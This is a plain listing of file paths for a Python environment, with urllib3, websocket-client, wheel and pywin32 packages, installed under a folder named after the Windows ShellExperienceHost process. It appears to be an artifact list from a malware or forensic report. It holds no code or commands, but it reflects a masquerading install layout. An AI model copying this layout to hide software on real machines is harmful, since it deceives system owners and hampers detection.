        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\REQUEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\RESPONSE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\RETRY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\SSLTRANSPORT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\SSL_.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\TIMEOUT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\URL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\WAIT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\_COLLECTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\_VERSION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\CACERT.PEM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\TESTS\DATA\HEADER01.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\TESTS\DATA\HEADER02.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\TESTS\TEST_COOKIEJAR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\TESTS\TEST_WEBSOCKET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\TESTS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_ABNF.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_APP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_COOKIEJAR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_CORE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_EXCEPTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_HANDSHAKE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_HTTP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_LOGGING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_SOCKET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_SSL_COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_URL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET_CLIENT-0.57.0.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET_CLIENT-0.57.0.DIST-INFO\LICENSE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET_CLIENT-0.57.0.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET_CLIENT-0.57.0.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET_CLIENT-0.57.0.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET_CLIENT-0.57.0.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\ENTRY_POINTS.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\LICENSE.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\REQUESTED
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\BDIST_WHEEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\CLI\CONVERT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\CLI\PACK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\CLI\UNPACK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\CLI\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\MACOSX_LIBFILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\METADATA.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\PKGINFO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\UTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\VENDORED\PACKAGING\TAGS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\VENDORED\PACKAGING\_TYPING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\VENDORED\PACKAGING\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\VENDORED\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\WHEELFILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\__MAIN__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\ADSI.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\ADSICON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\DEMOS\OBJECTPICKER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\DEMOS\SCP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\DEMOS\SEARCH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\DEMOS\TEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AUTHORIZATION\AUTHORIZATION.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AUTHORIZATION\DEMOS\EDITSECURITY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AUTHORIZATION\DEMOS\EDITSERVICESECURITY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AUTHORIZATION\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXCONTROL\AXCONTROL.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXCONTROL\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\ADB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\AXDEBUG.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\CODECONTAINER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\CONTEXTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\DEBUGGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\DOCUMENTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\DUMP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\EXPRESSIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\GATEWAYS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\STACKFRAME.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\UTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\ASPUTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\AXSCRIPT.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\DEBUG.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\ERROR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\FRAMEWORK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\PYDUMPER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\PYSCRIPT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\PYSCRIPT_REXEC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\SCRIPTDISPATCH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\CAPS.ASP
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\CREATEOBJECT.ASP
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\INTERRUPT\TEST.ASP
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\INTERRUPT\TEST.HTML
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\INTERRUPT\TEST1.ASP
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\INTERRUPT\TEST1.HTML
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\TUT1.ASP
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\CALC.HTM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\DBGTEST.HTM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\DEMO.HTM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\DEMO_CHECK.HTM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\DEMO_INTRO.HTM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\DEMO_MENU.HTM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\DOCWRITE.HTM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\FOO2.HTM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\FORM.HTM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\MARQUEEDEMO.HTM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\MARQUEETEXT1.HTM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\MOUSETRACK.HTM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\PYCOM_BLOWING.GIF
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\WSH\BLANK.PYS
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\WSH\EXCEL.PYS
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\WSH\REGISTRY.PYS
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\WSH\TEST.PYS
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\SERVER\AXSITE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\SERVER\ERROR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\SERVER\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\TEST\DEBUGTEST.PYS
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\TEST\DEBUGTEST.VBS
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\TEST\LEAKTEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\TEST\TEST.HTML
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\TEST\TESTHOST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\TEST\TESTHOST4DBG.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\BITS\BITS.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\BITS\TEST\SHOW_ALL_JOBS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\BITS\TEST\TEST_BITS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\BITS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\DIRECTSOUND\DIRECTSOUND.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\DIRECTSOUND\TEST\DS_RECORD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\DIRECTSOUND\TEST\DS_TEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\DIRECTSOUND\TEST\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\DIRECTSOUND\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\IFILTER\DEMO\FILTERDEMO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\IFILTER\IFILTER.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\IFILTER\IFILTERCON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\IFILTER\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\INTERNET\INETCON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\INTERNET\INTERNET.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\INTERNET\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\DEMOS\MAPISEND.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\EMSABTAGS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\EXCHANGE.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\MAPI.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\MAPITAGS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\MAPIUTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\PROPSYS\PROPSYS.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\PROPSYS\PSCON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\PROPSYS\TEST\TESTPROPSYS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\PROPSYS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\BROWSE_FOR_FOLDER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\CREATE_LINK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\DUMP_LINK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\EXPLORER_BROWSER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\IACTIVEDESKTOP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\IFILEOPERATIONPROGRESSSINK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\ISHELLLINKDATALIST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\ITRANSFERADVISESINK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\IUNIFORMRESOURCELOCATOR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\COLUMN_PROVIDER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\CONTEXT_MENU.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\COPY_HOOK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\EMPTY_VOLUME_CACHE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\FOLDER_VIEW.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\ICON_HANDLER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\SHELL_VIEW.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SHELLEXECUTEEX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\VIEWSTATE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\WALK_SHELL_FOLDERS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\SHELL.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\SHELLCON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\TEST\TESTSHELLFOLDER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\TEST\TESTSHELLITEM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\TEST\TESTSHFILEOPERATION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\TASKSCHEDULER.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\TEST\TEST_ADDTASK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\TEST\TEST_ADDTASK_1.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\TEST\TEST_ADDTASK_2.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\TEST\TEST_LOCALSYSTEM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\BUILD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\CLSIDTOCLASS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\COMBROWSE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\CONNECT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\DYNAMIC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\GENCACHE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\GENPY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\MAKEPY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\SELECTTLB.PY
